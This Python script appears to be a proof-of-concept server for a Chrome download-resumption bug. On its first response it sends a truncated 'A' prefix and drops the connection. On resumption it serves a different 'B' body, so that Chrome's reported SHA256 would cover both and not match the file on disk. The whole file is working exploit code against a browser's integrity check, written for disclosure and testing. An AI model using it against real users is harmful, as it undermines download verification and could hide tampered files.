#!/usr/bin/env python3
"""
POC server for the stale-SHA256-state-on-offset-clamp bug in Chrome's download
resumption path.

Behaviour:
  * GET /            -> serves a tiny HTML page that auto-starts the download.
  * GET /target.bin  -> first hit: sends Content-Length: FULL_SIZE with NO
                        ETag and NO Last-Modified, streams PREFIX_SIZE bytes
                        of 'A', then hard-closes the socket so Chrome sees
                        ERR_CONTENT_LENGTH_MISMATCH.
                     -> second+ hit: serves the full FULL_SIZE-byte body of
                        'B' bytes with HTTP 200 and correct Content-Length.

The "real" file on disk after the download completes is FULL_SIZE bytes of
'B'.  Its true SHA256 is printed at startup for comparison against the hash
Chrome reports via DownloadItem::GetHash().
"""

import hashlib
import socket
import sys
import threading
import time

HOST = "127.0.0.1"
PORT = 8765

PREFIX_SIZE = 500          # <= 1024 so resumption clamps offset to 0
FULL_SIZE   = 100000

V1_PREFIX = b"A" * PREFIX_SIZE
V2_FULL   = b"B" * FULL_SIZE

INDEX_HTML = b"""<!doctype html>
<title>poc</title>
<a id=a href="/target.bin" download="target.bin">download</a>
<script>document.getElementById('a').click();</script>
"""

hits_lock = threading.Lock()
hits = {"target": 0}


def true_sha256():
    return hashlib.sha256(V2_FULL).hexdigest()


def poisoned_sha256():
    h = hashlib.sha256()
    h.update(V1_PREFIX)
    h.update(V2_FULL)
    return h.hexdigest()


def read_request(conn):
    data = b""
    conn.settimeout(5)
    try:
        while b"\r\n\r\n" not in data:
            chunk = conn.recv(4096)
            if not chunk:
                break
            data += chunk
    except socket.timeout:
        pass
    return data


def handle(conn, addr):
    try:
        req = read_request(conn)
        if not req:
            conn.close()
            return
        first_line = req.split(b"\r\n", 1)[0].decode("latin-1", "replace")
        sys.stderr.write(f"[server] {first_line}\n")
        try:
            method, path, _ = first_line.split(" ", 2)
        except ValueError:
            conn.close()
            return

        if path == "/" or path == "/index.html":
            body = INDEX_HTML
            hdr = (
                b"HTTP/1.1 200 OK\r\n"
                b"Content-Type: text/html\r\n"
                b"Content-Length: %d\r\n"
                b"Connection: close\r\n"
                b"\r\n" % len(body)
            )
            conn.sendall(hdr + body)
            conn.close()
            return

        if path == "/target.bin":
            with hits_lock:
                hits["target"] += 1
                n = hits["target"]
            if n == 1:
                # First request: lie about Content-Length, send a short
                # prefix, then slam the door.  No ETag, no Last-Modified.
                sys.stderr.write(
                    f"[server] /target.bin hit #1: sending {PREFIX_SIZE} of "
                    f"{FULL_SIZE} bytes then closing\n"
                )
                hdr = (
                    b"HTTP/1.1 200 OK\r\n"
                    b"Content-Type: application/octet-stream\r\n"
                    b"Content-Disposition: attachment; filename=\"target.bin\"\r\n"
                    b"Content-Length: %d\r\n"
                    b"Connection: close\r\n"
                    b"\r\n" % FULL_SIZE
                )
                conn.sendall(hdr)
                conn.sendall(V1_PREFIX)
                # Give Chrome time to finish target determination / rename to
                # the intermediate .crdownload path before we yank the socket.
                time.sleep(3)
                # Abrupt close -> ERR_CONTENT_LENGTH_MISMATCH on the client.
                try:
                    conn.shutdown(socket.SHUT_RDWR)
                except OSError:
                    pass
                conn.close()
                return
            else:
                # Resumption (and any later) request: serve the full v2 body.
                sys.stderr.write(
                    f"[server] /target.bin hit #{n}: serving full "
                    f"{FULL_SIZE}-byte body\n"
                )
                hdr = (
                    b"HTTP/1.1 200 OK\r\n"
                    b"Content-Type: application/octet-stream\r\n"
                    b"Content-Disposition: attachment; filename=\"target.bin\"\r\n"
                    b"Content-Length: %d\r\n"
                    b"Connection: close\r\n"
                    b"\r\n" % FULL_SIZE
                )
                conn.sendall(hdr + V2_FULL)
                conn.close()
                return

        # 404
        body = b"not found"
        hdr = (
            b"HTTP/1.1 404 Not Found\r\n"
            b"Content-Type: text/plain\r\n"
            b"Content-Length: %d\r\n"
            b"Connection: close\r\n"
            b"\r\n" % len(body)
        )
        conn.sendall(hdr + body)
        conn.close()
    except Exception as e:
        sys.stderr.write(f"[server] handler error: {e!r}\n")
        try:
            conn.close()
        except OSError:
            pass


def main():
    sys.stderr.write("=" * 72 + "\n")
    sys.stderr.write(f"[server] listening on http://{HOST}:{PORT}/\n")
    sys.stderr.write(f"[server] TRUE     sha256(file-on-disk)       = {true_sha256()}\n")
    sys.stderr.write(f"[server] EXPECTED sha256(v1_prefix||v2_full)  = {poisoned_sha256()}\n")
    sys.stderr.write(
        "[server] If the bug triggers, Chrome's GetHash() will equal the\n"
        "[server] EXPECTED (poisoned) value, NOT the TRUE value.\n"
    )
    sys.stderr.write("=" * 72 + "\n")
    sys.stderr.flush()

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(16)
    while True:
        conn, addr = s.accept()
        t = threading.Thread(target=handle, args=(conn, addr), daemon=True)
        t.start()


if __name__ == "__main__":
    main()